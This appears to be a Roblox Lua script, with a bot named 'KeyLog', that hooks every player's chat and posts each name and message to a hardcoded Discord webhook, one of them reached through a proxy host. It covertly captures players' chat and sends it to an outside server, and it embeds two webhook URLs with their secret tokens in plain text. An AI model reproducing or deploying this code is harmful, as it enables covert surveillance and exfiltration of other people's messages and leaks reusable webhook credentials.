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wait(0.003)
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local BOT = {}
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-- defining http for use later on, results in cleaner code
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local http = game:service'HttpService'
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-- webhook url to send message from (get this from server, and if not create a Discord server and make a webhook)
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BOT.uri = 'https://discordapp.com/api/webhooks/258530876537831424/96KVziN2T2tJAUfdF7mXE5IlqEzzGBzrysmcHZblK9IQ7_SoFMCOvhNfyZugrsjFYgvT'
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BOT.uri = 'https://discord.osyr.is/api/webhooks/409814145807155202/uUpdAjMx7BS33r5qH7gd_fK8z94MhOqfZOggxdPfNqfDvEnbQMOu2f29AlLrYC-IyUxt'
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-- Botname, defaut name is Spidey Bot, if you renamed it put the EXACT name here!
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BOT.botname = 'KeyLog'
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--------------- starting script ---------------------------
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function BOT:SendMessage(Message)
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local data = {}
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data.username = BOT.botname
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data.content = Message
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data=http:JSONEncode(data)
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return http:PostAsync(BOT.uri, data, Enum.HttpContentType.ApplicationJson)
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end
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--log function--
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for i,v in pairs(game.Players:GetChildren()) do
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v.Chatted:connect(function(log)
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BOT:SendMessage(v.Name..': '..log) 
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end)
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end